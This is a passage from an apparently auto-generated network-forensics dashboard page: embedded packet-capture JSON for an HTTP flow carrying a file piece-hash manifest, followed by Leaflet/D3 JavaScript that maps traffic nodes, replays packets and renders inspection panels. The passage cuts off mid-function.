\"CWR\": false}, \"tcp_flags_str\": \"SYN,ACK\"}, {\"packet_number\": 4, \"timestamp\": 1783611360.398745, \"timestamp_iso\": \"2026-07-09T21:06:00.398745\", \"timestamp_human\": \"2026-07-09 21:06:00.398\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"77.95.69.15\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 55838, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 80, \"dst_port\": 64017, \"tcp_seq\": 3830018597, \"tcp_ack\": 52002073, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 5, \"timestamp\": 1783611360.844232, \"timestamp_iso\": \"2026-07-09T21:06:00.844232\", \"timestamp_human\": \"2026-07-09 21:06:00.844\", \"size\": 3470, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"HTTP\", \"HTTPResponse\", \"Raw\"], \"src_ip\": \"77.95.69.15\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 55839, \"ip_len\": 3456, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 80, \"dst_port\": 64017, \"tcp_seq\": 3830018597, \"tcp_ack\": 52002073, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\", \"payload_size\": 2796, \"payload_preview\": \"7b224d616a6f7256657273696f6e223a312c224d696e6f7256657273696f6e223a302c22486173684f66486173686573223a2271416957414e73434f314d756d4452553462324654635371486976593934675853464758646972524471343d222c22486173684f66486173686573537472696e67223a2271416957414e73434f314d756d4452553462324654635371486976593934675853464758646972524471343d222c22436f6e74656e744c656e677468223a37393234303630352c22506965636553697a65223a313034383537362c22506965636573223a5b2236336532666e3970354d314a67726f7434324970474d61356265775162424b4c2b656d35306f46622b69343d222c22597558624c676173344c68377750632b2b6556613337453649566465377250466e58346e44676f506b30633d222c224b36696f387735713872346a766342306258626e6b635232626746426477436e6a755847697a634d6d51553d222c223058332b783356312b4a50416a4345354e6732306765723566446531476741596f6c3553774a6f45422b303d222c226d6a7456713273456d78366b62386269436b6952776b67722b6378316e73367448586c76774b75786130493d222c2236762b4a6d6e41786344384568316145702b61315564754a4f6b6b5a7759566d6e71737341675665416a453d222c22354a476568434f57456b757371556d4c3863426e4e4d767635595148352b51446c6d776a7741504c6d50733d222c2252676f443054474a4959317a4a3039314d71696b6653307356305668553358356655744f6c6e6e53454e773d222c22364953337632773973507555572f416b556a663933557265456a4a3578377644626543536f7066416179593d222c224c50487063753231506f41576d6661314c616268356d4b6e316e61376f473335685163792f5139384974303d222c22457745725269654a3258715a58766443356d37664767577067327148484268334337723267485878454b303d222c2238696566472b537a366971484568495665517747746655517665482f5267705136436639545350385a4c513d222c2236654a495a4769796747774732617648694b4a33476351777037394367487371466b78556f7473436a6f733d222c226f66416f2f49666c424a476641424b723156727a696d766234754d334d386c676d784955366c57744a50513d222c225853652f706748334c7963767837714d4930756837706554753976576c387339316b554b70626633554f413d222c22387074626541313644594f7574732f78326e377a726264346f5264504379335157316e7348734865456b343d222c224d5674664b634d6e366d33756a51595a455a46723445392b6d2b52464d6a65344f3945386c2b632f6266553d222c2279597630754346584a634d594676464d6a2f3158496c4e4679737a707256634454464c6e6954346f6e386f3d222c22544159546762787656497a304c5a614651675979375332364c4538626478396e313371794b5049364871593d222c227256374141446142364f3575577a6559667a554766344d43504d4c6870664b4476642b32783569464256383d222c2254324b2f315545553956476e422b676e49675a6e2f2b4d4673346169436252416d66536c5061456a682f493d222c225978385067614f3962644d67494e6b784e344967777643326a5554384c505a3858507041337656696e79513d222c22486e33306a35447754586244347051615759414a475a4c6668636d43662b4c366f4b6776527a6a4a4c666b3d222c223559442f784146675a366a3155726f574a36725052672f47792b6b4573764567632f2b38646e6c576e57303d222c2239316d4f724453445a6a5a785a496d50756237544558374544567463756f76626a64735142773561524a493d222c2266656172354a664874595a454667484f4f6f4336744b4e61477a2b5858467173356d327349476f7a3873773d222c2264754443446d38596e64697733624674476379704471652b776e51504231435a41434c38695a77554f4b6b3d222c22682f4467624e73776b44434b4c6554335a4664775a566e3774314f3465492b364c7649506b723952532b6f3d222c2279505741626b7669434632306f6b304f363462755261305458742f4445563443556f4a796a6b53716732383d222c22594c4f6c59724f5a634b37426d4b62497a31745a53394c2b6249536575674b7973584b746f34524c516c303d222c2277526d344c394e584c627248684f4d72775954396b34354463444c784b62465355342b444e494a4f57706f3d222c22767737544a3279674a6d56496d304c393633395941766b71537845776f4a367059564a55444c474c2f4b343d222c227767767a7265354a564f7553756a6c39486e7631552b3577556f7a4f327a456e626e6930692b755a6a32493d222c2276443348767a347853575855784447634378616a54537651573267354b4c576449364f76787954364c48553d222c224f7a5963324d71356259416476353271594b62326f47703544537965615359656a4a6743306b4430344d413d222c22555156366f747049534e46704335576b48684b2f65566b694b3146696c796663794e7333794d7943434b513d222c2239567659434c435345386f4f65316f774f6e5053475771674873665533796259696b63455746516f77646b3d222c22696a6249626f4a73684f684b4e4f6f6a4563716d346b496d614447776d4d722b4d737a677a4b4b303655343d222c2274426779446c317833364a575774426d2b4675457168624f355a553849506c533030394635443338765a4d3d222c224932416b75474d336c7138765472744a66513837344537526a7171735544787635755735385041654267633d222c2255556d5177523159455a55586a6d4a5348416b6774443678504c46524f79787a464131574c493056786b553d222c22415238664d6c7a3241436d6661743233685634644e67713069674834416536474842677669616f2b4674773d222c22324134754c624463457044557a2f5079684e5a65384a324256657664483154522b43534141462b5665726f3d222c225138623349365561632b5071456b4759542f7555537679757a4e5966376e4950436e4748366939455364413d222c22613261553259616f6c33502b4d716b7045694a2b4945746d366a6937757a587353376a425043525a7367553d222c2237545053646c6a6f64717931713268686d546f6534755159637277595754522b47707a3147784e4c4d334d3d222c224c6345795236756d53347270672b446c59466f6d59337365784c3135547842304f44667076765a386a546b3d222c22485267784b6c624b6d526b59474f487a783063644f716c6248743859494c696441487a684839456a6858773d222c22396c526d61534333456176634c646b3947574c30764733514873576f542f64736458386d616f726f2f4e413d222c2273576349662f59644b7938714155666f4344527457324c6c444b4957726a41717a59514c776c66313351413d222c22726f6f33544f5444524c4e644f3365714d6354396d6b69302f666e776e39633467476638415930355957303d222c226c42482b575739674e7a677961346b747632694e53684a4a666b555868497468436b794d4c4d71495370673d222c22395571446e35537a31474172426148396f452b515575347668674b5a7a305030546771394b6476704a53343d222c226764646541515556594f3165765874702b4f5a39483547334f746143795a6e3777596471664c4643595a553d222c2230794f43614e6f54547166655131763078466a74747a454e486e67786178726e724d785258\", \"payload_ascii\": \"{\\\"MajorVersion\\\":1,\\\"MinorVersion\\\":0,\\\"HashOfHashes\\\":\\\"qAiWANsCO1MumDRU4b2FTcSqHivY94gXSFGXdirRDq4=\\\",\\\"HashOfHashesString\\\":\\\"qAiWANsCO1MumDRU4b2FTcSqHivY94gXSFGXdirRDq4=\\\",\\\"ContentLength\\\":79240605,\\\"PieceSize\\\":1048576,\\\"Pieces\\\":[\\\"63e2fn9p5M1Jgrot42IpGMa5bewQbBKL+em50oFb+i4=\\\",\\\"YuXbLgas4Lh7wPc++eVa37E6IVde7rPFnX4nDgoPk0c=\\\",\\\"K6io8w5q8r4jvcB0bXbnkcR2bgFBdwCnjuXGizcMmQU=\\\",\\\"0X3+x3V1+JPAjCE5Ng20ger5fDe1GgAYol5SwJoEB+0=\\\",\\\"mjtVq2sEmx6kb8biCkiRwkgr+cx1ns6tHXlvwKuxa0I=\\\",\\\"6v+JmnAxcD8Eh1aEp+a1UduJOkkZwYVmnqssAgVeAjE=\\\",\\\"5JGehCOWEkusqUmL8cBnNMvv5YQH5+QDlmwjwAPLmPs=\\\",\\\"RgoD0TGJIY1zJ091MqikfS0sV0VhU3X5fUtOlnnSENw=\\\",\\\"6IS3v2w9sPuUW/AkUjf93UreEjJ5x7vDbeCSopfAayY=\\\",\\\"LPHpcu21PoAWmfa1Labh5mKn1na7oG35hQcy/Q98It0=\\\",\\\"EwErRieJ2XqZXvdC5m7fGgWpg2qHHBh3C7r2gHXxEK0=\\\",\\\"8iefG+Sz6iqHEhIVeQwGtfUQveH/RgpQ6Cf9TSP8ZLQ=\\\",\\\"6eJIZGiygGwG2avHiKJ3GcQwp79CgHsqFkxUotsCjos=\\\",\\\"ofAo/IflBJGfABKr1Vrzimvb4uM3M8lgmxIU6lWtJPQ=\\\",\\\"XSe/pgH3Lycvx7qMI0uh7peTu9vWl8s91kUKpbf3UOA=\\\",\\\"8ptbeA16DYOuts/x2n7zrbd4oRdPCy3QW1nsHsHeEk4=\\\",\\\"MVtfKcMn6m3ujQYZEZFr4E9+m+RFMje4O9E8l+c/bfU=\\\",\\\"yYv0uCFXJcMYFvFMj/1XIlNFyszprVcDTFLniT4on8o=\\\",\\\"TAYTgbxvVIz0LZaFQgYy7S26LE8bdx9n13qyKPI6HqY=\\\",\\\"rV7AADaB6O5uWzeYfzUGf4MCPMLhpfKDvd+2x5iFBV8=\\\",\\\"T2K/1UEU9VGnB+gnIgZn/+MFs4aiCbRAmfSlPaEjh/I=\\\",\\\"Yx8PgaO9bdMgINkxN4IgwvC2jUT8LPZ8XPpA3vVinyQ=\\\",\\\"Hn30j5DwTXbD4pQaWYAJGZLfhcmCf+L6oKgvRzjJLfk=\\\",\\\"5YD/xAFgZ6j1UroWJ6rPRg/Gy+kEsvEgc/+8dnlWnW0=\\\",\\\"91mOrDSDZjZxZImPub7TEX7EDVtcuovbjdsQBw5aRJI=\\\",\\\"fear5JfHtYZEFgHOOoC6tKNaGz+XXFqs5m2sIGoz8sw=\\\",\\\"duDCDm8Yndiw3bFtGcypDqe+wnQPB1CZACL8iZwUOKk=\\\",\\\"h/DgbNswkDCKLeT3ZFdwZVn7t1O4eI+6LvIPkr9RS+o=\\\",\\\"yPWAbkviCF20ok0O64buRa0TXt/DEV4CUoJyjkSqg28=\\\",\\\"YLOlYrOZcK7BmKbIz1tZS9L+bISeugKysXKto4RLQl0=\\\",\\\"wRm4L9NXLbrHhOMrwYT9k45DcDLxKbFSU4+DNIJOWpo=\\\",\\\"vw7TJ2ygJmVIm0L9639YAvkqSxEwoJ6pYVJUDLGL/K4=\\\",\\\"wgvzre5JVOuSujl9Hnv1U+5wUozO2zEnbni0i+uZj2I=\\\",\\\"vD3Hvz4xSWXUxDGcCxajTSvQW2g5KLWdI6OvxyT6LHU=\\\",\\\"OzYc2Mq5bYAdv52qYKb2oGp5DSyeaSYejJgC0kD04MA=\\\",\\\"UQV6otpISNFpC5WkHhK/eVkiK1FilyfcyNs3yMyCCKQ=\\\",\\\"9VvYCLCSE8oOe1owOnPSGWqgHsfU3ybYikcEWFQowdk=\\\",\\\"ijbIboJshOhKNOojEcqm4kImaDGwmMr+MszgzKK06U4=\\\",\\\"tBgyDl1x36JWWtBm+FuEqhbO5ZU8IPlS009F5D38vZM=\\\",\\\"I2AkuGM3lq8vTrtJfQ874E7RjqqsUDxv5uW58PAeBgc=\\\",\\\"UUmQwR1YEZUXjmJSHAkgtD6xPLFROyxzFA1WLI0VxkU=\\\",\\\"AR8fMlz2ACmfat23hV4dNgq0igH4Ae6GHBgviao+Ftw=\\\",\\\"2A4uLbDcEpDUz/PyhNZe8J2BVevdH1TR+CSAAF+Vero=\\\",\\\"Q8b3I6Uac+PqEkGYT/uUSvyuzNYf7nIPCnGH6i9ESdA=\\\",\\\"a2aU2Yaol3P+MqkpEiJ+IEtm6ji7uzXsS7jBPCRZsgU=\\\",\\\"7TPSdljodqy1q2hhmToe4uQYcrwYWTR+Gpz1GxNLM3M=\\\",\\\"LcEyR6umS4rpg+DlYFomY3sexL15TxB0ODfpvvZ8jTk=\\\",\\\"HRgxKlbKmRkYGOHzx0cdOqlbHt8YILidAHzhH9EjhXw=\\\",\\\"9lRmaSC3EavcLdk9GWL0vG3QHsWoT/dsdX8maoro/NA=\\\",\\\"sWcIf/YdKy8qAUfoCDRtW2LlDKIWrjAqzYQLwlf13QA=\\\",\\\"roo3TOTDRLNdO3eqMcT9mki0/fnwn9c4gGf8AY05YW0=\\\",\\\"lBH+WW9gNzgya4ktv2iNShJJfkUXhIthCkyMLMqISpg=\\\",\\\"9UqDn5Sz1GArBaH9oE+QUu4vhgKZz0P0Tgq9KdvpJS4=\\\",\\\"gddeAQUVYO1evXtp+OZ9H5G3OtaCyZn7wYdqfLFCYZU=\\\",\\\"0yOCaNoTTqfeQ1v0xFjttzENHngxaxrnrMxRX\"}, {\"packet_number\": 7, \"timestamp\": 1783611360.885864, \"timestamp_iso\": \"2026-07-09T21:06:00.885864\", \"timestamp_human\": \"2026-07-09 21:06:00.885\", \"size\": 1051, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"HTTP\", \"Raw\"], \"src_ip\": \"77.95.69.15\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 55842, \"ip_len\": 1037, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 80, \"dst_port\": 64017, \"tcp_seq\": 3830022013, \"tcp_ack\": 52002073, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\", \"payload_size\": 997, \"payload_preview\": \"5a57336765553d222c227547624d506975745074506c6948614c47346164586c4137384961644b5444777970674931686632706f553d222c225969646648364d6d663971505a7a745341376d4953507559444f65334d484b6767646441576b53526349493d222c224864365253354d3144307a467a61635455616a546743544b2f542f386533457047534d33324f4933546f553d222c224a3632625a4a505868744f56686f796e65386875475a79446742496142676279777738556c6748375368553d222c227a4f726842667769725241614b79374250466b74536f674639442b436a4a71597956725058385a4a3559773d222c22645261414f516c71443730567a6236466f45323832526f666a79672f774162624339444c4939515a7470673d222c22595541452f4b6457592b7254754e3656385044632f41716177426f437465655a62764d2f4b7a4e7343776f3d222c2258355a4f655a342b5264754f4f6935447a47506b6b783566663570512f4d3650377a394a725334516b52383d222c222f7a537564754b656962594164454f445751384f7854524f384f6c3452723146346777466e7949413032633d222c22444f30686b68533031672f5966316b4142455274516d5276674d715579454f332f6974307067794b3379553d222c22423379462b6777484d636d716b6c744b2f34746943422b41597a542b7165727844626b59764c4d62694f343d222c222b456a39346d50314a51664945594c6241614d4a4f464d6a457263594b7065654e5539624b656c4a6c6c303d222c225634626967762b7a42393776723447745a4c4a676c556c51316e6b4b332b544262544b6f76757062567a6b3d222c225234354d316c7531667a7039766f4b417252664e454138354242753041584b7566472b49635964354647343d222c2235593479556434733832394a345a5148397539694b347930536e334c6635533870302f6c536c4a4b442b383d222c226938614367774374585847413852654c356f646649355a437455536b58433457522f6a4342737a5a4d30383d222c227a796d46757545733279422b45754e3676652f6c2f3437675153496a445a753559693649583564317939413d222c224c4849693258736f646f44647737435a737957474d69334a667561374a706d4b784a65416e466d7a4835553d222c2256746c687064396a6f424668727855354a72422f7a795656795639343059473567686c30766932434659413d222c224147372f52796a4f77395678546e72713930556a524e666c354e4737497748534d364e2f54546b5647706b3d222c224b3155496249505771673858564c78494e64493755764e38745671306f44503450634741633774735534303d225d7d\", \"payload_ascii\": \"ZW3geU=\\\",\\\"uGbMPiutPtPliHaLG4adXlA78IadKTDwypgI1hf2poU=\\\",\\\"YidfH6Mmf9qPZztSA7mISPuYDOe3MHKggddAWkSRcII=\\\",\\\"Hd6RS5M1D0zFzacTUajTgCTK/T/8e3EpGSM32OI3ToU=\\\",\\\"J62bZJPXhtOVhoyne8huGZyDgBIaBgbyww8UlgH7ShU=\\\",\\\"zOrhBfwirRAaKy7BPFktSogF9D+CjJqYyVrPX8ZJ5Yw=\\\",\\\"dRaAOQlqD70Vzb6FoE282Rofjyg/wAbbC9DLI9QZtpg=\\\",\\\"YUAE/KdWY+rTuN6V8PDc/AqawBoCteeZbvM/KzNsCwo=\\\",\\\"X5ZOeZ4+RduOOi5DzGPkkx5ff5pQ/M6P7z9JrS4QkR8=\\\",\\\"/zSuduKeibYAdEODWQ8OxTRO8Ol4Rr1F4gwFnyIA02c=\\\",\\\"DO0hkhS01g/Yf1kABERtQmRvgMqUyEO3/it0pgyK3yU=\\\",\\\"B3yF+gwHMcmqkltK/4tiCB+AYzT+qerxDbkYvLMbiO4=\\\",\\\"+Ej94mP1JQfIEYLbAaMJOFMjErcYKpeeNU9bKelJll0=\\\",\\\"V4bigv+zB97vr4GtZLJglUlQ1nkK3+TBbTKovupbVzk=\\\",\\\"R45M1lu1fzp9voKArRfNEA85BBu0AXKufG+IcYd5FG4=\\\",\\\"5Y4yUd4s829J4ZQH9u9iK4y0Sn3Lf5S8p0/lSlJKD+8=\\\",\\\"i8aCgwCtXXGA8ReL5odfI5ZCtUSkXC4WR/jCBszZM08=\\\",\\\"zymFuuEs2yB+EuN6ve/l/47gQSIjDZu5Yi6IX5d1y9A=\\\",\\\"LHIi2XsodoDdw7CZsyWGMi3Jfua7JpmKxJeAnFmzH5U=\\\",\\\"Vtlhpd9joBFhrxU5JrB/zyVVyV940YG5ghl0vi2CFYA=\\\",\\\"AG7/RyjOw9VxTnrq90UjRNfl5NG7IwHSM6N/TTkVGpk=\\\",\\\"K1UIbIPWqg8XVLxINdI7UvN8tVq0oDP4PcGAc7tsU40=\\\"]}\"}], \"tcp_flags\": {\"SYN\": 1, \"ACK\": 4, \"PSH\": 2}, \"packet_sizes\": [66, 54, 3470, 1051], \"inter_packet_intervals\": [0.00019812583923339844, 0.44548702239990234, 0.04163193702697754], \"connection_type\": \"TCP Connection\", \"threat_level\": \"low\", \"duration\": 0.4873170852661133, \"avg_packet_size\": 1160.25, \"packets_per_second\": 8.20820800447759, \"bytes_per_second\": 9523.573337195125, \"min_packet_size\": 54, \"max_packet_size\": 3470, \"median_packet_size\": 1051, \"avg_interval\": 0.16243902842203775, \"min_interval\": 0.00019812583923339844, \"max_interval\": 0.44548702239990234}];\n        \n        // Unified Timeline Data\n        const allPackets = [];\n        edges.forEach(e => {\n            e.packets.forEach(p => {\n                allPackets.push({\n                    ...p,\n                    source: e.source,\n                    target: e.target,\n                    protocols: p.protocols\n                });\n            });\n        });\n        allPackets.sort((a, b) => a.timestamp - b.timestamp);\n\n        // Map Setup\n        const map = L.map('map', {\n            center: [20, 0],\n            zoom: 2,\n            minZoom: 2,\n            maxBounds: [[-90, -180], [90, 180]],\n            maxBoundsViscosity: 1.0,\n            worldCopyJump: false\n        });\n\n        L.tileLayer('https://{s}.basemaps.cartocdn.com/light_all/{z}/{x}/{y}{r}.png', {\n            attribution: '©OpenStreetMap, ©CartoDB',\n            noWrap: true,\n            bounds: [[-90, -180], [90, 180]]\n        }).addTo(map);\n\n        // Projection Helper for Private IPs\n        function getPos(node) {\n            if (node.is_private) {\n                // Place private nodes in the stylized \"Pvt Zone\" (North Pacific area)\n                // Offset slightly per node to avoid overlap\n                const idx = nodes.filter(n => n.is_private).indexOf(node);\n                const pvtLat = 50 + (idx % 5) * 2;\n                const pvtLon = -160 + Math.floor(idx / 5) * 5;\n                return [pvtLat, pvtLon];\n            }\n            return [node.geo.lat || 0, node.geo.lon || 0];\n        }\n\n        // Initialize positions\n        nodes.forEach(n => {\n            const pos = getPos(n);\n            n.currentLat = pos[0];\n            n.currentLon = pos[1];\n        });\n\n        // D3 Overlay\n        L.svg().addTo(map);\n        const svg = d3.select(map.getPanes().overlayPane).select(\"svg\");\n        const g = svg.append(\"g\").attr(\"class\", \"leaflet-zoom-hide\");\n\n        // Scale node radius by traffic volume\n        const nodeScale = d3.scaleSqrt()\n            .domain([0, d3.max(nodes, d => d.packet_count) || 100])\n            .range([5, 20]);\n\n        const link = g.selectAll(\".link\")\n            .data(edges)\n            .enter().append(\"path\")\n            .attr(\"class\", \"link\")\n            .attr(\"stroke\", e => e.threat_level === 'critical' ? '#ef4444' : '#94a3b8')\n            .attr(\"stroke-width\", 1.5)\n            .on(\"click\", (e, d) => inspectFlow(d));\n\n        const node = g.selectAll(\".node\")\n            .data(nodes)\n            .enter().append(\"circle\")\n            .attr(\"class\", \"node\")\n            .attr(\"r\", d => nodeScale(d.packet_count))\n            .attr(\"fill\", d => d.is_private ? \"#3b82f6\" : \"#10b981\")\n            .attr(\"stroke\", \"#fff\")\n            .attr(\"stroke-width\", 2)\n            .on(\"click\", (e, d) => inspectNode(d));\n\n        node.append(\"title\").text(d => d.ip);\n\n        function updatePositions() {\n            node.attr(\"cx\", d => map.latLngToLayerPoint([d.currentLat, d.currentLon]).x)\n                .attr(\"cy\", d => map.latLngToLayerPoint([d.currentLat, d.currentLon]).y);\n\n            link.attr(\"d\", d => {\n                const s = nodes.find(n => n.id === d.source);\n                const t = nodes.find(n => n.id === d.target);\n                if (!s || !t) return \"\";\n                const sp = map.latLngToLayerPoint([s.currentLat, s.currentLon]);\n                const tp = map.latLngToLayerPoint([t.currentLat, t.currentLon]);\n                return `M${sp.x},${sp.y}L${tp.x},${tp.y}`;\n            });\n        }\n\n        map.on(\"viewreset move\", updatePositions);\n        updatePositions();\n\n        // Stats\n        document.getElementById('stat-nodes').innerText = nodes.length;\n        document.getElementById('stat-edges').innerText = edges.length;\n        document.getElementById('stat-pkts').innerText = allPackets.length;\n\n        // --- Replay Logic ---\n        let replayIdx = 0;\n        let isPlaying = false;\n        let replayTimer = null;\n        const timeline = document.getElementById('timeline');\n        const timeDisplay = document.getElementById('time-display');\n\n        function toggleReplay() {\n            isPlaying = !isPlaying;\n            document.getElementById('play-icon').className = isPlaying ? \"fas fa-pause\" : \"fas fa-play\";\n            if (isPlaying) runReplay();\n            else clearInterval(replayTimer);\n        }\n\n        function runReplay() {\n            clearInterval(replayTimer);\n            replayTimer = setInterval(() => {\n                if (replayIdx >= allPackets.length) {\n                    toggleReplay();\n                    return;\n                }\n                processPacket(allPackets[replayIdx]);\n                replayIdx++;\n                const progress = (replayIdx / allPackets.length) * 100;\n                timeline.value = progress;\n            }, 150);\n        }\n\n        function seekReplay(val) {\n            const targetIdx = Math.floor((val / 100) * (allPackets.length - 1));\n            replayIdx = targetIdx;\n            if (allPackets[replayIdx]) {\n                processPacket(allPackets[replayIdx]);\n            }\n        }\n\n        function processPacket(pkt) {\n            timeDisplay.innerText = pkt.timestamp_human.split(' ')[1];\n            animatePacket(pkt.source, pkt.target);\n            updateLiveInspector(pkt);\n        }\n\n        function animatePacket(srcId, dstId) {\n            const s = nodes.find(n => n.id === srcId);\n            const t = nodes.find(n => n.id === dstId);\n            if (!s || !t) return;\n            \n            const sp = map.latLngToLayerPoint([s.currentLat, s.currentLon]);\n            const tp = map.latLngToLayerPoint([t.currentLat, t.currentLon]);\n\n            const p = g.append(\"circle\")\n                .attr(\"r\", 4)\n                .attr(\"class\", \"packet-particle\")\n                .attr(\"cx\", sp.x)\n                .attr(\"cy\", sp.y);\n\n            p.transition()\n                .duration(800)\n                .ease(d3.easeLinear)\n                .attr(\"cx\", tp.x)\n                .attr(\"cy\", tp.y)\n                .remove();\n        }\n\n        function updateLiveInspector(pkt) {\n            const srcNode = nodes.find(n => n.id === pkt.source);\n            const dstNode = nodes.find(n => n.id === pkt.target);\n            \n            const body = document.getElementById('inspect-body');\n            \n            // Format payload\n            let payloadHtml = \"\";\n            if (pkt.payload_preview) {\n                const hex = pkt.payload_preview.match(/.{1,2}/g).join(' ');\n                payloadHtml = `\n                    <div class=\"sec-title\">Payload (Hex)</div>\n                    <div class=\"hex-dump\" style=\"max-height: 150px; overflow-y: auto; font-size: 0.7rem;\">${hex}</div>\n                `;\n            } else if (pkt.payload_ascii) {\n                payloadHtml = `\n                    <div class=\"sec-title\">Payload (ASCII)</div>\n                    <div class=\"hex-dump\" style=\"max-height: 150px; overflow-y: auto; font-size: 0.7rem;\">${pkt.payload_ascii}</div>\n                `;\n            }\n\n            body.innerHTML = `\n                <div class=\"info-card\" style=\"border-left: 4px solid var(--accent-main)\">\n                    <div class=\"sec-title\">Live Replay Analysis</div>\n                    <div class=\"data-row\"><span class=\"data-label\">Packet ID</span><span class=\"data-value\">#${pkt.packet_number}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">Timestamp</span><span class=\"data-value\">${pkt.timestamp_human}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">Protocols</span><span class=\"data-value\">${pkt.protocols.join(' → ')}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">Size</span><span class=\"data-value\">${pkt.size} Bytes</span></div>\n                </div>\n\n                <div class=\"info-card\">\n                    <div class=\"sec-title\">Source: ${pkt.source}</div>\n                    <div class=\"data-row\"><span class=\"data-label\">Location</span><span class=\"data-value\">${srcNode.geo.city}, ${srcNode.geo.country}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">ISP / ASN</span><span class=\"data-value\">${srcNode.geo.isp} (AS${srcNode.geo.asn})</span></div>\n                </div>\n\n                <div class=\"info-card\">\n                    <div class=\"sec-title\">Destination: ${pkt.target}</div>\n                    <div class=\"data-row\"><span class=\"data-label\">Location</span><span class=\"data-value\">${dstNode.geo.city}, ${dstNode.geo.country}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">ISP / ASN</span><span class=\"data-value\">${dstNode.geo.isp} (AS${dstNode.geo.asn})</span></div>\n                </div>\n\n                ${pkt.tcp_flags_str ? `<div class=\"info-card\"><div class=\"sec-title\">TCP Flags</div><div class=\"data-value\">${pkt.tcp_flags_str}</div></div>` : ''}\n                ${pkt.dns_query ? `<div class=\"info-card\"><div class=\"sec-title\">DNS Query</div><div class=\"data-value\">${pkt.dns_query}</div></div>` : ''}\n\n                <div class=\"info-card\">\n                    ${payloadHtml || '<div class=\"data-label\">No raw payload data</div>'}\n                </div>\n            `;\n        }\n\n        function inspectNode(d) {\n            document.getElementById('inspect-title').innerText = `Node: ${d.ip}`;\n            const body = document.getElementById('inspect-body');\n            body.innerHTML = `\n                <div class=\"info-card\">\n                    <div class=\"sec-title\">Investigation Metadata</div>\n                    <div class=\"data-row\"><span class=\"data-label\">Country</span><span class=\"data-value\">${d.geo.country}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">City</span><span class=\"data-value\">${d.geo.city}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">ISP</span><span class=\"data-value\">${d.geo.isp}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">ASN</span><span class=\"data-value\">${d.geo.asn}</span></div>\n                </div>\n                <div class=\"sec-title\">Traffic Intensity</div>\n                <div class=\"stat-grid\">\n                    <div class=\"stat-box\"><div class=\"stat-v\">${d.packet_count}</div><div class=\"stat-l\">Packets</div></div>\n                    <div class=\"stat-box\"><div class=\"stat-v\">${(d.total_bytes_sent/1024).toFixed(1)}</div><div class=\"stat-l\">KB Sent</div></div>\n                    <div class=\"stat-box\"><div class=\"stat-v\">${(d.total_bytes_received/1024).toFixed(1)}</div><div class=\"stat-l\">KB Recv</div></div>\n                </div>\n                <div class=\"sec-title\" style=\"margin-top:20px;\">Recent Packets</div>\n                ${d.packets.slice(-10).map(p => {\n                    const pStr = JSON.stringify(p).replace(/\"/g, '&quot;');\n                    return `\n                        <div class=\"packet-list-item\" onclick=\"showPacketDetails('${d.ip}', ${pStr})\">\n                            <span>#${p.num} - ${p.direction.toUpperCase()}</span>\n                            <span>${p.size}B</span>\n                        </div>\n                    `;\n                }).join('')}\n            `;\n        }\n\n        function inspectFlow(d) {\n            const s = nodes.find(n => n.id === d.source);\n            const t = nodes.find(n => n.id === d.target);\n            document.getElementById('inspect-title').innerText = `Flow: ${d.source} → ${d.target}`;\n            const body = document.getElementById('inspect-body');\n            body.innerHTML = `\n                <div class=\"info-card\">\n                    <div class=\"sec-title\">Flow Characteristics</div>\n                    <div class=\"data-row\"><span class=\"data-label\">Protocols</span><span class=\"data-value\">${d.protocols.join(', ')}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">Total Traffic</span><span class=\"data-value\">${(d.total_bytes / 1024).toFixed(2)} KB</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">Threat Level</span><span class=\"data-value\" style=\"color:${d.threat_level === 'low' ? 'var(--accent-success)' : 'var(--accent-danger)'}\">${d.threat_level.toUpperCase()}</span></div>\n                </div>\n                <div class=\"sec-title\">Packet Log</div>\n                ${d.packets.slice(-15).map(p => `\n                    <div class=\"packet-list-item\" style=\"border-left: 3px solid var(--accent-main)\">\n                        <div>\n                            <div style=\"font-weight:700\">#${p.packet_number} [${p.protocols[p.protocols.length-1]}]</div>\n                            <div style=\"font-size:0.75rem; color:var(--text-secondary)\">${p.timestamp_human.split(' ')[1]}</div>\n                        </div>\n                        <div style=\"text-align:right\">\n                            <div>${p.size}B</div>\n                        </div>\n                    </div>\n                `).join('')}\n            `;\n        }\n\n        function showPacketDetails(ip, p) {\n            const body = document.getElementById('inspect-body');\n            document.getElementById('inspect-title').innerText = `Packet Inspection`;\n            document.getElementById('inspect-subtitle').innerText = `IP: ${ip}`;\n            \n            let payloadHtml = \"\";\n            if (p.payload_preview) {\n                const hex = p.payload_preview.match(/.{1,2}/g).join(' ');\n                payloadHtml = `\n                    <div class=\"sec-title\">Payload (Hex)</div>\n                    <div class=\"hex-dump\" style=\"max-height: 200px; overflow-y: auto; font-size: 0.7rem;\">${hex}</div>\n                `;\n            } else if (p.payload_ascii) {\n                